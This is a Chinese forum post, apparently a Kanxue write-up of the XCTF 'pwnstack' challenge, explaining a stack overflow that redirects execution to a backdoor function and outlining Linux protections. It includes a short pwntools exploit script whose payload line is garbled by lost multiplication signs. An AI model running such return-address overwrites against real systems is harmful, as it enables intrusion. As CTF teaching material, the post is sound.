-
-
[原创]攻防世界pwnstack解析
-
发表于:
2024-3-14 20:57
8558
-
从main函数来看代码
可看到,main函数运行到vuln函数
将vuln函数的堆栈填充0xA0个’a’后。堆栈刚好全填充完
这里的read api(api是应用程序接口),会写入0xB1个值,这个值大于0xA0,怎么办?这就是栈溢出了。这17个字节,里面是什么值,也不是固定的。可是,vuln函数会继续执行
从read堆栈填充0x8个’a’后,到达很乱的栈空间中,我们用剩下的空间填入0x400762,就是backdoor的地址。理论上,backdoor函数就运行了。
我随后上传这个pwn程序。在linux系统上。保护机制是这样的:
Linux系统保护机制
NX(DEP):数据执行防护
Canary(FS):栈溢出保护
RELRO(ASLR):(地址随机化)
PIE(代码地址随机化)
NX:
栈上的数据没有执行权限
防止攻击手段:栈溢出 + 跳到栈上执行shellcode
CANARY:
在函数开始时就随机产生一个值,将这个值CANARY
放到栈上紧挨ebp的上一个位置,当攻击者想通过缓冲
区溢出覆盖ebp或者ebp下方的返回地址时,一定会覆
盖掉CANARY的值;当程序结束时,程序会检查
CANARY这个值和之前的是否一致,如果不一致,则
不会往下运行,从而避免了缓冲区溢出攻击。
防止攻击手段:所有单纯的栈溢出
ASLR:
堆栈地址随机化
防止攻击手段:所有需要用到堆栈精确地址的攻击,要想成功,
必须用提前泄露地址
PIE:
代码部分地址无关
防止攻击手段:构造ROP链攻击
这是溢出代码。
p64()的p64的含义是:p64为将数字根据端序转为64位的字节流。
python3版本的pwntools的payload的字符串之前需要加上b前缀
然后,看看运行结果:
from
pwn
import
*
io
=
remote(‘xxx.xxx.xxx.xxx’,
55568
)
s
=
0x400762
p
=
0xa0b
’a’
+
0x8b
’a’
+
p64(s)
io.send(p)
from
pwn
import
*
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2024-3-15 18:54
被ranshu编辑
,原因: